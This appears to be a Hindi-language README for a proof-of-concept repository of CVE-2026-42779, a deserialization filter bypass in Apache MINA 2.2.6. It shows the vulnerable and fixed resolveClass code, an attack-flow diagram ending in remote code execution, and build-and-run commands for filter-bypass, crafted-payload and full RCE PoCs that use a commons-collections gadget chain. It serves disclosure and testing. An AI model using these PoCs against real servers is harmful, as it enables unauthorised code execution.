// AbstractIoBuffer.java — कमज़ोर (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    Class<?> clazz = desc.forClass();

    if (clazz == null) {
        // BUG: कोई acceptMatchers जांच नहीं — फ़िल्टर पूरी तरह से बायपास
        return Class.forName(name, false, classLoader);
    } else {
        // फ़िल्टर केवल यहाँ लागू होता है
        for (ClassNameMatcher matcher : acceptMatchers) { ... }
    }
}

// AbstractIoBuffer.java — फिक्स्ड (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
    String className = desc.getName();

    // फ़िल्टर पहले लागू होता है, forClass() परिणाम की परवाह किए बिना
    if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
        throw new ClassNotFoundException("Class not in accept list " + className);
    }

    Class<?> clazz = desc.forClass();
    // ... सुरक्षित रिज़ॉल्यूशन आगे बढ़ता है
}

हमलावर                                    असुरक्षित MINA सर्वर
   |                                              |
   |  1. गैजेट चेन क्लासेज़ के लिए टाइप-0           |
   |     डिस्क्रिप्टर के साथ MINA पेलोड तैयार करें      |
   |                                              |
   |  2. ObjectSerializationCodecFactory का उपयोग करने वाले |
   |     एंडपॉइंट पर भेजें ------------------------>|
   |                                              |
   |          3. readClassDescriptor() टाइप-0 पढ़ता है|
   |             → सुपर (std Java) को डेलीगेट करता है   |
   |                                              |
   |          4. resolveClass() forClass()==null देखता है
   |             → फ़िल्टर के बिना Class.forName()      |
   |                                              |
   |          5. गैजेट चेन पूरी तरह से डिसीरियलाइज़ होती है
   |             → readObject() चेन ट्रिगर करता है     |
   |             → Runtime.exec() फायर होता है        |
   |                                              |
   |                               RCE प्राप्त हुआ   |

# इस रेपो को क्लोन करें
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779

# सभी PoCs बनाएं और चलाएं
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779

# व्यक्तिगत PoCs चलाएं
docker run --rm cve-2026-42779 bypass     # केवल फ़िल्टर बायपास
docker run --rm cve-2026-42779 crafted    # निर्मित पेलोड बायपास
docker run --rm cve-2026-42779 rce        # पूर्ण RCE

# अन्वेषण के लिए शेल में प्रवेश करें
docker run --rm -it cve-2026-42779 shell

# असुरक्षित संस्करण को क्लोन और बिल्ड करें
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q

# commons-collections डाउनलोड करें (RCE PoC के लिए)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
  -o commons-collections-3.2.2.jar

# PoCs संकलित करें
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java

# फ़िल्टर बायपास PoC चलाएं
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC

# निर्मित पेलोड PoC चलाएं
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC

# पूर्ण RCE PoC चलाएं
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
     RcePoC

make run-all    # सभी तीन PoCs बनाएं और चलाएं
make run-rce    # केवल RCE PoC